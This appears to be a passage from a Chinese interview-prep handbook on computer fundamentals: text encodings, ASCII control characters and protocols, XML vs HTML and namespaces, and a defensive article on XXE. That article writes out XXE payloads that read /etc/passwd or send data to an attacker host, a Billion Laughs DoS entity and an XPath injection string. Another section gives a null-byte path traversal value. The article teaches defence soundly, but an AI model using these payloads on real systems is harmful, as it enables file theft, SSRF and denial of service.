计算机基础面试题手册

梳理高频技术问题,帮助你按主题复习和查漏补缺。

计算机基础阅读 05月28日 06:33

ASCII、UTF-8 和 UTF-16 有什么区别?编码原理与选择策略

ASCII、UTF-8 和 UTF-16 是字符编码领域最常见的三种方案,面试中几乎必考。理解它们的核心区别,关键在于搞清楚字符集与编码的关系、变长编码的原理,以及各自的适用场景。Unicode、字符集与编码的关系很多人混淆 Unicode 和 UTF,这是面试第一个坑。Unicode 是字符集,它给世界上每个字符分配一个唯一的编号(码点,Code Point),比如中的码点是 U+4E2D。但 Unicode 只定义了编号,没有规定这些编号怎么存到字节里——这就是编码方案的事。UTF-8、UTF-16、UTF-32 都是 Unicode 的编码实现方式。ASCII 则不同,它既是字符集也是编码方案,两者合一。ASCII 定义了 128 个字符,同时规定了每个字符用 7 位二进制表示,第 8 位恒为 0。三种编码的核心原理ASCII:固定单字节ASCII 使用 7 位编码,实际存储占 1 字节(最高位为 0)。它覆盖英文大小写字母、数字、标点符号和控制字符,共 128 个。由于结构极简,处理速度快,兼容性最好,但只能表示英文世界的字符。UTF-8:变长编码,向下兼容 ASCIIUTF-8 是最广泛使用的 Unicode 编码,核心特点是变长——根据码点范围用 1 到 4 个字节编码:U+0000 ~ U+007F(ASCII 范围):1 字节,编码与 ASCII 完全一致U+0080 ~ U+07FF:2 字节,首字节以 110 开头U+0800 ~ U+FFFF(含中文):3 字节,首字节以 1110 开头U+10000 ~ U+10FFFF:4 字节,首字节以 11110 开头后续字节统一以 10 开头,这种前缀设计让解码器能从任意字节判断它是首字节还是续字节,具备自同步能力。正因为 ASCII 字符在 UTF-8 中编码完全相同,任何合法的 ASCII 文件同时也是合法的 UTF-8 文件,这是 UTF-8 能够取代其他编码成为互联网标准的关键原因。UTF-16:定长与变长的折中UTF-16 对基本多文种平面(BMP,U+0000 ~ U+FFFF)的字符使用 2 字节编码,对辅助平面的字符使用 4 字节(代理对,Surrogate Pair)。代理对的机制是:用 U+D800 ~ U+DBFF 的前导代理和 U+DC00 ~ U+DFFF 的尾随代理组合表示辅助平面字符。UTF-16 处理中英日韩等常用字符效率较高(每个字符固定 2 字节),但存在字节序问题——同样两个字节,大端序和小端序解读结果不同,因此 UTF-16 文件通常以 BOM(Byte Order Mark,U+FEFF)开头来标识字节序。三者核心对比| 维度 | ASCII | UTF-8 | UTF-16 ||------|-------|-------|--------|| 编码长度 | 固定 1 字节 | 变长 1-4 字节 | 变长 2 或 4 字节 || 字符范围 | 128 个字符 | 全部 Unicode(超 14 万字符) | 全部 Unicode || ASCII 兼容 | 本身 | 完全兼容 | 不兼容 || 中文存储 | 不支持 | 3 字节/字符 | 2 字节/字符 || 英文存储 | 1 字节 | 1 字节 | 2 字节/字符 || 字节序问题 | 无 | 无 | 有(需 BOM) || 自同步能力 | 无需 | 有(前缀设计) | 有(代理对机制) |实际选择建议Web 应用和互联网场景:无脑选 UTF-8。HTML5 默认编码就是 UTF-8,超过 98% 的网页使用 UTF-8。Windows 系统内部 API:使用 UTF-16,Windows NT 内核原生支持 UTF-16,宽字符 API(以 W 结尾的函数)都用 UTF-16。Java/C# 内部表示:字符串内部用 UTF-16 存储(Java 9+ 对 Latin-1 字符串做了优化,使用 Compact Strings)。纯英文协议或配置:ASCII 足矣,如 HTTP 头部字段、SMTP 协议等。面试中一个常见的追问是:为什么 UTF-8 成为互联网主流而不是 UTF-16?核心原因有三:与 ASCII 完全兼容降低了迁移成本;英文内容只需 1 字节节省带宽;没有字节序问题简化了跨平台处理。面试高频追问Q:UTF-8 的字节前缀有什么用?前缀设计实现了自同步——解码器可以从数据流中任意位置开始,最多回溯 3 个字节就能找到字符边界。这意味着即使某个字节损坏,只影响当前字符,不会像某些编码那样错误传播。Q:为什么中文在 UTF-8 中占 3 字节而不是 2 字节?中文字符的码点落在 U+0800 ~ U+FFFF 范围,UTF-8 对这个范围统一使用 3 字节编码。而 UTF-16 对 BMP 内的字符统一用 2 字节,所以纯中文场景 UTF-16 反而更省空间。Q:BOM 是什么?UTF-8 需要 BOM 吗?BOM(Byte Order Mark)是文件开头的字节序标识,UTF-16 用它区分大端序和小端序。UTF-8 是字节流编码,不存在字节序问题,通常不需要 BOM。但 Windows 记事本会在 UTF-8 文件开头添加 BOM(EF BB BF),这有时会导致 Linux 环境下的兼容问题。
计算机基础阅读 05月28日 06:33

ASCII 控制字符有哪些?各自在编程中怎么用?

ASCII 控制字符是 ASCII 编码表中编号 0-31 和 127 的 33 个不可见字符,它们不表示可打印的符号,而是用于控制设备行为、格式化文本和管理数据传输。在现代编程中,虽然大部分控制字符已经很少直接使用,但 NUL、LF、CR、HT、ESC、DEL 等仍然无处不在。核心答案:33 个控制字符一览ASCII 控制字符分为四大类:| 类别 | 字符 | 十六进制 | 用途 ||------|------|----------|------|| 通信控制 | SOH/STX/ETX/EOT/ENQ/ACK/NAK/SYN/ETB/DLE | 01-06,15-17,22 | 数据传输协议 || 格式控制 | BS/HT/LF/VT/FF/CR | 08-0D | 文本排版 || 信息分隔 | FS/GS/RS/US | 1C-1F | 数据逻辑分隔 || 其他 | NUL/BEL/CAN/SUB/ESC/SI/SO/DC1-DC4/DEL | 00,07,18-1F,7F | 特殊功能 |面试中最常考的几个:NUL(0) 是 C 语言字符串终止符,LF(10) 是 Unix 换行,CR(13) 是回车,ESC(27) 开启转义序列,DEL(127) 是删除。通信控制字符:数据传输的信号灯通信控制字符诞生于 1960 年代的串口通信时代,用于在两个设备之间建立可靠的数据交换协议。SOH (0x01) — 标题开始,标记消息头的起始位置,在早期串口通信中用于区分报文头部和正文STX (0x02) / ETX (0x03) — 正文开始/结束,两者成对使用框定有效文本内容EOT (0x04) — 传输结束,在 Unix 终端中 Ctrl+D 会发送 EOT,表示输入流结束(EOF 的底层实现之一)ENQ (0x05) / ACK (0x06) / NAK (0x15) — 询问/确认/否认,三者构成最基础的握手协议:发送方发 ENQ 询问,接收方回 ACK 确认或 NAK 拒绝SYN (0x16) — 同步空闲,在异步通信中用于维持收发双方的时钟同步DLE (0x10) — 数据链路转义,解决数据流中恰好出现与控制字符相同字节的问题,DLE 之后的内容按数据而非控制指令解读ETB (0x17) — 传输块结束,将长数据分割为多个块传输时标记每个块的边界格式控制字符:文本排版的底层机制格式控制字符直接影响文本的布局和呈现,是日常编程中接触最多的控制字符。BS (0x08) — 退格,将光标向左移动一格。在终端中常用于实现"叠打"效果,比如先输出字符再退格输出下划线来实现粗体HT (0x09) — 水平制表符,跳到下一个制表位(默认间距为 8 的倍数)。Makefile 的缩进规则强制要求使用 Tab 而非空格,这是 HT 在现代工具链中最独特的存在LF (0x0A) — 换行,将光标垂直下移一行。C 语言和 Unix 系统用它单独表示新行VT (0x0B) — 垂直制表符,将光标下移到下一个垂直制表位,现代几乎不再使用FF (0x0C) — 换页,指示打印机跳到下一页开头。部分终端模拟器用它清屏CR (0x0D) — 回车,将光标移到当前行首。与 LF 配合使用的历史非常悠久CR 与 LF:一个跨平台的经典陷阱不同操作系统对换行的实现不同,这是 ASCII 控制字符在实际开发中最常见的坑:Windows:CRLF (\r\n,0x0D+0x0A),两个字节的组合完成"回车+换行"Unix/Linux:LF (\n,0x0A),一个字节搞定旧版 Mac OS (9 及之前):CR (\r,0x0D),只用回车这导致 Windows 上编辑的文件在 Linux 中每行末尾多出 ^M,Git 的 core.autocrlf 配置就是为了处理这个问题。在串口通信和协议开发中,必须严格区分 CR 和 LF:比如 AT 指令必须以 CR(\r)结尾而非 LF。NUL:C 语言字符串的基石NUL (0x00) 是 ASCII 表的第一个字符,也是 C 语言字符串最关键的控制字符。C 语言字符串以 \0 结尾,这个约定贯穿了整个 C 标准库:char str[] = "Hello\0World";printf("%s", str); // 输出: Hello// strlen 遇到第一个 \0 就停止计数printf("%zu", strlen(str)); // 输出: 5NUL 作为字符串终止符的设计是 C 语言诸多安全问题的根源——如果忘记添加 \0,strlen、strcpy 等函数会越界读取内存,这是缓冲区溢出漏洞的常见成因。NUL 字节注入(Null Byte Injection)也是 Web 安全中的一个经典攻击手法:在文件路径中插入 \0 可以截断字符串,绕过文件扩展名检查,比如 ../../../etc/passwd\0.jpg 在某些旧版 C 库实现中会被解读为 ../../../etc/passwd。ESC 和 DEL:扩展与删除ESC (0x1B) 是 ASCII 标准中最具扩展性的设计。它本身不执行任何操作,而是作为转义序列的开头,与其后的字符组合产生新的控制功能。终端中的 ANSI 转义码就基于此:\x1b[31m 将文字变为红色,\x1b[2J 清屏,\x1b[H 将光标移到左上角。Vim 的 ESC 键返回 Normal 模式,也是这个字符的历史延续。DEL (0x7F) 的编号不在 0-31 而是排在 127,原因是纸带编码用 7 个孔位表示数据,0x7F 对应所有孔位全部打穿——在纸带上物理地抹除一个字符。现代键盘中 Delete 键的功能已经改变,但在终端中 Ctrl+?(或 Ctrl+Backspace)发送的仍是 0x7F。设备控制与信息分隔DC1-DC4 (0x11-0x14) 是设备控制字符,其中 DC1 和 DC3 至今仍在串口流控中使用,分别称为 XON 和 XOFF。当接收缓冲区快满时发送 XOFF 暂停传输,处理完再发 XON 恢复——这是软件流控制的标准机制。FS/GS/RS/US (0x1C-0x1F) 是信息分隔字符,按层级从高到低分隔数据单元:文件 > 组 > 记录 > 单元。它们在串行存储时代用于在连续数据流中划分逻辑边界,类似现代 CSV 文件中的逗号和换行。虽然现代协议已用 JSON/XML 替代,但部分老旧金融系统和工业协议仍在使用。为什么 127 是控制字符但 32 不是空格 (0x20) 在 ASCII 中是一个特殊的存在——它不可见,但被归类为可打印字符而非控制字符。原因在于空格确实在文本中占据一个可见的排版位置(光标右移一格),而控制字符只控制设备行为不占据排版位置。DEL (0x7F) 虽然编号超出了 0-31 的范围,但它的功能是删除/抹除,属于控制行为,因此归入控制字符。面试常见追问问:为什么 Windows 用 CRLF 而 Unix 只用 LF?早期的电传打字机需要两个动作完成换行:CR 把打印头移回行首,LF 把纸向上卷一行。Unix 的设计者认为在电子时代用一个 LF 同时完成两个动作更合理,而 Windows 沿用了硬件时代的传统。问:NUL 和空格有什么区别?NUL (0x00) 的所有二进制位都是 0,在 C 语言中标志字符串结束;空格 (0x20) 的二进制是 00100000,是一个占位的可打印字符。\0 不可见也不占排版, 不可见但占排版。问:如何在代码中检测字符串是否包含控制字符?遍历每个字符,检查其 ASCII 值是否在 0-31 或等于 127。Python 中可用 ord(c) < 32 or ord(c) == 127 判断。正则表达式 [\x00-\x1F\x7F] 也能匹配。
计算机基础阅读 05月28日 06:30

ASCII 中如何进行大小写字母转换?

ASCII 大小写字母转换的底层原理ASCII 编码中,大写字母 A-Z 的值为 65-90,小写字母 a-z 的值为 97-122,两者恰好相差 32。这不是巧合,而是 ASCII 设计者刻意为之——32 是 2 的 5 次方,对应二进制的第 5 位(从右数,从 0 开始)。也就是说,大小写字母的二进制表示只差一个 bit:A = 0100 0001(65)a = 0110 0001(97)第 5 位为 0 是大写,为 1 是小写。理解了这个原理,转换方法就水到渠成了。方法一:加减 32最直觉的方式,利用固定差值:// 小写转大写char upper = ch - 32;// 大写转小写char lower = ch + 32;注意:转换前必须判断字符是否在字母范围内,否则会把 !(33)减 32 变成不可见字符。方法二:位运算(OR / AND)利用第 5 位的规律,直接操作 bit:// 大写转小写:设置第 5 位为 1char lower = ch | 0x20; // 0x20 = 0010 0000 = 32// 小写转大写:清除第 5 位为 0char upper = ch & 0xDF; // 0xDF = 1101 1111为什么位运算更好? 不需要条件判断。即使对非字母字符,| 0x20 只会设置第 5 位,不会像加减 32 那样越界出错。不过严格来说,对非字母字符做位运算也会改变其值,所以实际工程中仍需范围检查。方法三:XOR 切换大小写异或 32 可以在大小写之间来回切换:// 大写变小写,小写变大写char toggled = ch ^ 0x20;原理:XOR 的特性是"相同为 0,不同为 1"。第 5 位异或 1 会翻转,其余位异或 0 不变。所以 A ^ 32 = a,a ^ 32 = A。多语言实现对比Python# 方法一:加减upper = chr(ord(ch) - 32)lower = chr(ord(ch) + 32)# 方法二:位运算lower = chr(ord(ch) | 0x20)upper = chr(ord(ch) & 0xDF)# 方法三:XOR 切换toggled = chr(ord(ch) ^ 0x20)C / C++#include <ctype.h>// 标准库方式(推荐工程使用)upper = toupper(ch);lower = tolower(ch);// 手动位运算lower = ch | 0x20;upper = ch & 0xDF;Java// 标准库char upper = Character.toUpperCase(ch);char lower = Character.toLowerCase(ch);// 位运算char lower = (char)(ch | 0x20);char upper = (char)(ch & 0xDF);为什么差值恰好是 32?这是 ASCII 设计的精妙之处。设计者让大小写字母的二进制只差一个 bit,这样:硬件友好:一个门电路就能完成大小写判断转换高效:一条位运算指令即可,无需加减法大小写不敏感比较:比较两个字符时,忽略第 5 位即可(ch1 & 0xDF == ch2 & 0xDF)这种设计使得早期计算机在资源极其有限的条件下,依然能高效处理文本。扩展:Unicode 怎么办?ASCII 的位运算技巧仅适用于英文字母。Unicode 中其他语言的大小写规则远比"差 32"复杂:德语 ß 的大写是 SS(长度变了)土耳其语 i 的大写是 İ(带点),I 的小写是 ı(无点)希腊语有多种大小写映射因此在处理国际化文本时,应始终使用语言标准库的 toUpperCase() / toLowerCase(),而不是手写位运算。面试追问Q1:为什么不用 ch + 32 而用位运算?A:位运算不需要分支判断(至少对于 OR/AND 操作),在某些架构上少一条指令。但现代编译器对 ch + 32 和 ch | 0x20 的优化差距极小,可读性更重要。Q2:如何实现大小写不敏感的字符串比较?A:逐字符 AND 0xDF 后比较,忽略第 5 位的差异。if ((ch1 & 0xDF) == (ch2 & 0xDF)) 即可。注意这只适用于 ASCII 英文字母。Q3:手写转换和标准库哪个更快?A:标准库通常更快,因为会使用 SIMD 指令批量处理。手写循环反而慢。标准库还正确处理了 locale 和 Unicode,是工程首选。Q4:ch | 0x20 对非字母字符安全吗?A:不完全安全。例如 @(64 = 0100 0000)| 0x20 等于 `(96),变成了反引号。所以工程中仍需先 isalpha() 判断。
计算机基础阅读 05月28日 06:23

ASCII 码在网络协议中有哪些应用

为什么网络协议大量使用 ASCII 编码ASCII 是互联网早期协议的基石。绝大多数应用层协议(HTTP、SMTP、FTP、Telnet)在设计之初就选择了 ASCII 作为命令和响应的编码方式,原因很直接:ASCII 只有 128 个字符、每个字符固定 1 字节,跨平台无歧义,调试时人眼可直接阅读。这种"文本协议"的设计哲学深刻影响了整个互联网的技术面貌。文本型协议:ASCII 作为命令语言HTTP 协议HTTP 是最典型的文本协议。请求行 GET /index.html HTTP/1.1 和响应行 HTTP/1.1 200 OK 全部由 ASCII 字符组成,头部字段名和值也限定在 ASCII 范围内。这一设计使得早期开发者可以用 telnet 直接连接服务器手动发送请求来调试。选择 ASCII 的关键原因:HTTP 头部必须在对端解析前就能被识别,ASCII 的确定性(不存在多字节歧义)保证了分隔符 \r\n、冒号 : 的解析可靠性。HTTP/2 改用二进制帧格式,恰恰说明 ASCII 文本协议的代价是解析效率低、头部无法压缩。SMTP 协议SMTP 的命令体系完全基于 ASCII:HELO、MAIL FROM、RCPT TO、DATA,服务端响应也以三位 ASCII 数字开头(如 250 OK)。邮件头部(From、To、Subject 等)同样使用 ASCII 编码。一个容易忽略的细节:SMTP 最初只支持 7-bit ASCII,非 ASCII 内容(如中文邮件)必须通过 MIME 的 quoted-printable 或 base64 编码转换后传输。这也是为什么邮件里经常看到 =?UTF-8?B? 这类标记——它是 ASCII 传输限制的历史遗留。FTP 协议FTP 的控制连接使用 ASCII 命令:USER、PASS、CWD、RETR、STOR 等,响应码同样是三位 ASCII 数字。FTP 还专门定义了 ASCII 传输模式和二进制传输模式——ASCII 模式会在传输时自动转换行结束符(Unix 的 \n → Windows 的 \r\n),这个特性至今仍在某些主机系统的文件交换中使用。Telnet 协议Telnet 是最纯粹的 ASCII 协议。它定义了 NVT(网络虚拟终端),将终端抽象为可以发送和接收 ASCII 字符的虚拟设备。所有用户输入和服务器输出都是 ASCII 字节流。Telnet 的带外信令也复用了 ASCII 控制字符:IAC(0xFF)后跟命令字节,但基础数据流始终是 ASCII。编码与传输机制:ASCII 作为基础字符集URL 编码(百分号编码)URL 的规范(RFC 3986)规定,URL 中只允许出现未保留字符(A-Z、a-z、0-9、-._~)和保留字符(:/?#[]@!$&'()*+,;=),这些全部是 ASCII 字符。任何非 ASCII 字符(如中文)必须先转为 UTF-8 字节序列,再对每个字节做百分号编码。例如,"中文"的 UTF-8 编码为 E4 B8 AD E6 96 87,在 URL 中表示为 %E4%B8%AD%E6%96%87。百分号编码本身只使用 ASCII 字符(% + 两个十六进制数字),确保了 URL 在任何传输通道中都不会产生歧义。Base64 编码Base64 将任意二进制数据映射到 64 个 ASCII 字符(A-Z、a-z、0-9、+、/)加上填充符 =。它的设计初衷就是在只支持 ASCII 的通道(如 SMTP 邮件传输)中安全地传输二进制数据。Base64 为什么选这 64 个字符?因为这 64 个字符在几乎所有字符编码方案中都存在且无歧义,不会因为 EBCDIC 与 ASCII 的差异、或不同代码页的映射关系而产生错误。这是一个经过深思熟虑的"最小公共字符集"选择。数据表示格式:ASCII 作为语法基础MIME 类型MIME 的 Content-Type 头部(如 text/html; charset=utf-8)完全使用 ASCII 语法。MIME 边界分隔符也是 ASCII 字符串。MIME 的设计目标就是在纯 ASCII 的 SMTP 通道中嵌入多类型数据,所以它的所有控制语法都限定在 ASCII 范围内。JSON 格式JSON 规范规定,JSON 文本必须使用 UTF-8、UTF-16 或 UTF-32 编码,但 JSON 的语法符号(花括号、方括号、冒号、逗号、引号)全部是 ASCII 字符。JSON 字符串中的非 ASCII 字符可以直接使用 UTF-8,也可以用 Unicode 转义序列 \uXXXX 表示,后者本质上是用 ASCII 字符来编码非 ASCII 内容。这个设计确保了 JSON 解析器只需正确处理少量 ASCII 语法符号,降低了实现的复杂度。ASCII 在网络协议中的局限与演进ASCII 的 7-bit 限制在国际化场景下暴露了明显短板:无法直接表示中文、日文等非拉丁字符。解决方案经历了从 ASCII → ISO-8859 系列 → Unicode(UTF-8)的演进。UTF-8 的巧妙之处在于:ASCII 字符在 UTF-8 中保持原样(单字节、值相同),这使得所有基于 ASCII 的协议可以无缝兼容 UTF-8。HTTP 头部仍然使用 ASCII,而 HTTP 请求体可以用 UTF-8 编码 JSON——两者在同一协议中和平共处。核心要点总结应用层文本协议(HTTP、SMTP、FTP、Telnet)的命令和响应基于 ASCII,追求可读性和解析确定性URL 编码和 Base64 利用 ASCII 子集作为安全传输的公共字符集JSON、MIME 等数据格式的语法符号限定在 ASCII 范围,降低解析器实现难度UTF-8 向下兼容 ASCII,是 ASCII 在现代网络中的延续方式理解 ASCII 在协议中的作用,本质上是理解互联网"文本协议"设计哲学的由来
计算机基础阅读 05月28日 03:50

XXE 攻击原理与防护:从 XML 注入到实战防御

XML 解析器天生就会处理 DTD 中的外部实体引用——这个设计初衷是为了方便模块化文档管理,却被攻击者利用来读取服务器文件、发起内网请求,甚至执行代码。这就是 XXE(XML External Entity)攻击的核心原理。2025 年 6 月,Apache Tika 爆出 CVE-2025-66516(CVSS 8.4),攻击者通过上传恶意 PDF 文件触发 XXE,读取服务器敏感文件——这说明 XXE 不是历史遗留问题,至今仍有新的攻击面被挖掘出来。XXE 攻击是怎么发生的XML 规范允许在 DTD(文档类型定义)中声明实体,其中 SYSTEM 类型的实体会让解析器去访问指定的 URI:<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE data [ <!ENTITY xxe SYSTEM "file:///etc/passwd">]><data>&xxe;</data>解析器在处理 &xxe; 时,会读取 /etc/passwd 的内容并替换进去。如果应用把解析结果返回给用户,敏感文件内容就泄露了。哪怕应用不回显解析结果,攻击者依然可以通过外带(OOB)方式获取数据:<!DOCTYPE data [ <!ENTITY xxe SYSTEM "http://attacker.com/collect?data=SECRET">]>或者利用盲 XXE 通过响应时间差异来推断信息。哪些场景容易中招不是只有"接收 XML 参数的 API"才需要担心。以下场景都可能成为 XXE 的入口:SOAP Web Service:SOAP 消息本身就是 XML,如果后端没有安全配置解析器,直接沦陷文件上传功能:SVG 图片、DOCX/PPTX 文档、XLSX 表格底层都是 XML 格式,上传恶意文件就可能触发 XXESSO/SAML:SAML 断言是 XML 格式,身份认证流程中的 XXE 可能导致认证绕过RSS/Atom 订阅:聚合外部 RSS 源时,恶意 RSS 中的 XML 实体可能被解析三种 XML 注入攻击类型XXE(XML 外部实体注入)最常见、危害最大。上面已经展示了攻击方式。核心危害包括:读取服务器任意文件(file:// 协议)发起 SSRF 攻击(http:// 协议探测内网)拒绝服务(Billion Laughs 攻击,通过实体嵌套指数级膨胀 XML 体积)在特定环境下远程代码执行(如 PHP expect 协议)XML 标签注入攻击者通过注入 XML 标签修改文档结构,篡改业务逻辑:<!-- 正常请求 --><user><name>John</name></user><!-- 注入后:给自己加了个 admin 角色 --><user><name>John</name><role>admin</role></user>这类攻击的关键是应用直接把用户输入拼接到 XML 文档中,没有做转义或结构校验。XPath 注入类似 SQL 注入的思路,针对 XPath 查询:// 正常查询//user[username='john' and password='secret']// 注入后:绕过密码验证//user[username='john' or '1'='1' and password='anything']防护方案1. 禁用 DTD 和外部实体(最关键)这是防护 XXE 的根本措施。不同语言的配置方式不同:Java:DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);dbf.setXIncludeAware(false);dbf.setExpandEntityReferences(false);disallow-doctype-decl 设为 true 会直接拒绝包含 DTD 的 XML,这是最严格的防护。如果业务必须使用 DTD,至少要禁用外部实体(后面三个 false)。Python(lxml):from lxml import etreeparser = etree.XMLParser(resolve_entities=False, load_dtd=False, no_network=True)tree = etree.parse("data.xml", parser=parser)no_network=True 阻止解析器发起网络请求,切断 SSRF 攻击面。PHP(8.0+):// PHP 8.0 起 libxml_disable_entity_loader() 已废弃// 正确做法:使用 LIBXML_NOENT 标志配合内部实体处理$dom = new DOMDocument();$dom->loadXML($xmlString, LIBXML_NONET);LIBXML_NONET 禁止网络访问,替代了已废弃的 libxml_disable_entity_loader()。.NET:XmlReaderSettings settings = new XmlReaderSettings();settings.DtdProcessing = DtdProcessing.Prohibit; // 禁止 DTDsettings.XmlResolver = null; // 禁止解析外部实体XmlReader reader = XmlReader.Create(stream, settings);2. 输入验证在解析之前,先检查 XML 中是否包含危险结构:public boolean isSafeXML(String xml) { String upper = xml.toUpperCase(); return !upper.contains("<!DOCTYPE") && !upper.contains("<!ENTITY");}注意:输入验证是辅助手段,不能替代解析器安全配置。攻击者可能通过编码、注释等方式绕过字符串检测。3. 使用 JSON 替代 XML如果业务允许,直接用 JSON 代替 XML 作为数据交换格式。JSON 不支持实体和 DTD,从根本上消除了 XXE 风险。对于 REST API 来说,这通常是最简单的解决方案。4. XPath 注入防护:参数化查询和 SQL 注入用参数化查询一样,XPath 也支持变量绑定:XPathFactory factory = XPathFactory.newInstance();XPath xpath = factory.newXPath();xpath.setXPathVariableResolver(varName -> { switch (varName) { case "username": return username; case "password": return password; default: return null; }});XPathExpression expr = xpath.compile("//user[username=$username and password=$password]");5. XML Schema 验证用 XSD 约束 XML 文档的结构,拒绝不符合预期的输入:SchemaFactory sf = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);Schema schema = sf.newSchema(new File("schema.xsd"));DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();dbf.setSchema(schema);dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);Schema 验证既防标签注入,也限制了 XML 的结构和内容。6. 最小权限运行即使 XXE 攻击成功,如果应用进程没有读取敏感文件的权限,攻击者也只能拿到低权限数据。容器化部署、只读文件系统、网络策略限制外联,都是纵深防御的一环。Billion Laughs 攻击:一种特殊的拒绝服务这种攻击利用实体嵌套让 XML 体积指数级膨胀:<?xml version="1.0"?><!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">]><root>&lol4;</root>&lol4; 展开后约 10 亿个 lol,轻松耗尽内存。防护方式同样是禁用 DTD——上面提到的解析器配置已经覆盖了这个场景。检测和排查Burp Suite:拦截请求,手动注入 XXE payload 测试OWASP ZAP:自动化扫描 XXE 漏洞SonarQube:静态代码分析,检测不安全的 XML 解析配置XXEinjector:专门针对 XXE 的自动化检测工具,支持 OOB 和 Blind XXE在 CI/CD 流程中集成 SAST 工具扫描 XML 解析相关代码,可以在部署前就发现风险配置。
计算机基础阅读 05月28日 03:49

XML 和 HTML 有什么区别?

XML 和 HTML 都是标记语言,但定位完全不同:HTML 是用来显示网页内容的,标签全预定义;XML 是用来存储和传输数据的,标签可以自己定义。面试中抓住"设计目的""标签定义""语法严格性"三个核心差异展开就够。一段代码看清区别:<!-- HTML:预定义标签,关注显示 --><h1>用户信息</h1><p>姓名:张三</p><!-- XML:自定义标签,关注数据结构 --><user> <name>张三</name> <age>28</age></user>同样的"用户信息",HTML 关心怎么在页面上展示,XML 关心数据本身的含义和层级关系。这个根本分歧决定了两者在语法、结构、应用场景上的所有差异。追问XML 和 HTML 的语法严格性有什么具体区别?XML 严格得多,根本原因在于两者的容错需求不同。HTML 要容错——网页打不开用户就直接走了,所以浏览器会尽可能猜测意图并渲染。XML 传数据——格式错了数据就不可信了,所以解析器遇到错误直接报停。具体规则对比:| 规则 | XML | HTML ||------|-----|------|| 标签关闭 | 必须关闭,自闭合写 <br/> | <p> <br> 可不关 || 大小写 | 区分,<Name> ≠ <name> | 不区分 || 属性引号 | 必须加 | 有时可省 || 根元素 | 有且仅有一个 | 允许多个(不推荐)|| 嵌套 | 必须严格正确嵌套 | 允许部分错误嵌套 |面试时说出"容错需求不同导致语法严格性不同"这个根本原因,比单纯背规则更体现理解深度。DTD 和 XML Schema 是什么?有什么区别?两者都约束 XML 文档结构——哪些标签能出现、顺序如何、数据类型是什么。DTD 是早期方案,语法简单但功能有限:不支持数据类型定义(只能区分 PCDATA 和 CDATA)、不支持命名空间、用的不是 XML 语法本身。XML Schema(XSD)更强大:支持 string/integer/date 等丰富数据类型、命名空间避免标签冲突、正则约束,而且 XSD 本身就是 XML 格式写的,可以用 XML 工具链处理。实际项目优先用 XSD,DTD 基本只在维护遗留系统时遇到。实际项目里 XML 还常用吗?Web 开发中 XML 的使用确实在下降,但远没到淘汰的程度:Spring 的 bean 配置、Maven 的 pom.xml、Android 的布局文件和 AndroidManifest.xml、SVG 矢量图、Office 文档格式(.docx/.xlsx 本质是 ZIP 包裹的 XML)——这些你日常都在用。新项目的数据接口基本都改用 JSON 了,但 XML 在配置文件和文档格式领域仍有不可替代的位置。安全方面有个高频考点:XXE 漏洞(XML 外部实体注入)——攻击者通过 <!ENTITY xxe SYSTEM "file:///etc/passwd"> 读取服务器文件,防护方式是解析器禁用外部实体。XML 和 JSON 相比各有什么优劣?JSON 轻量、解析快、和 JavaScript 天然亲和,是 Web API 主流。XML 的优势在于:属性和嵌套两种信息表达方式(<user id="1"><name>张三</name></user> 里 id 是属性、name 是子元素,JSON 没有这种区分)、成熟的 schema 验证(XSD)、命名空间避免标签冲突(SOAP 消息里 <soap:Body> 和 <wsa:Action> 共存)、注释和元数据更丰富。需要严格验证和复杂结构选 XML,追求轻量和速度选 JSON。一个实用判断:配置文件和文档格式选 XML,API 数据交换选 JSON。
计算机基础阅读 05月28日 03:48

什么是 XML 命名空间,如何声明和使用它?

当两个不同的 XML 词汇表使用相同的元素名时,解析器无法区分它们——这就是命名冲突。XML 命名空间(Namespace)正是为解决这个问题而设计的机制,它通过为元素和属性绑定一个全局唯一的 URI 标识符,让同名元素可以和平共处。为什么需要命名空间假设一份文档同时引用了两个 XML 词汇表,两者都定义了 <table> 元素:一个表示表格数据,另一个表示家具。没有命名空间时,解析器无法判断 <table> 到底指哪个。命名空间通过在元素前加前缀并绑定唯一 URI 来消除歧义。需要注意的是,命名空间 URI 仅作为唯一标识符使用,解析器不会去访问这个地址。URI 选择 URL 格式只是惯例,并非强制——任何合法的 URI 都可以,包括 URN。命名空间的声明语法命名空间使用 xmlns 属性声明,有两种形式:<!-- 带前缀的命名空间 --><root xmlns:prefix="namespaceURI"> <prefix:element>内容</prefix:element></root><!-- 默认命名空间 --><root xmlns="namespaceURI"> <element>内容</element></root>关键规则:xmlns 是保留属性名,专门用于命名空间声明前缀是自定义的简短别名,遵循 XML 名称命名规则以 xml(任何大小写组合)开头的前缀被保留,不能自定义URI 必须用引号包裹,通常使用 URL 格式默认命名空间 vs 带前缀的命名空间| 特性 | 默认命名空间 | 带前缀的命名空间 ||------|------------|----------------|| 声明方式 | xmlns="URI" | xmlns:prefix="URI" || 适用范围 | 未加前缀的元素 | 使用该前缀的元素和属性 || 是否适用于属性 | 不适用 | 适用 || 典型场景 | 文档中只有一种词汇表 | 文档混合多种词汇表 |一个重要区别:默认命名空间不适用于属性。未加前缀的属性永远属于无命名空间,即使所在元素有默认命名空间。如果属性需要属于某个命名空间,必须使用带前缀的声明。<book xmlns="http://example.com/books" xmlns:dc="http://purl.org/dc/elements/1.1/"> <!-- title 元素属于 http://example.com/books --> <!-- dc:title 属性属于 http://purl.org/dc/elements/1.1/ --> <title dc:title="主标题">XML 入门</title></book>命名空间的作用域命名空间声明在声明它的元素及其所有后代元素中有效,遵循以下规则:继承:子元素自动继承祖先元素的命名空间声明覆盖:子元素可以重新声明同名前缀,新的绑定在子元素范围内生效无命名空间:如果元素没有前缀且没有默认命名空间,它属于"无命名空间"<root 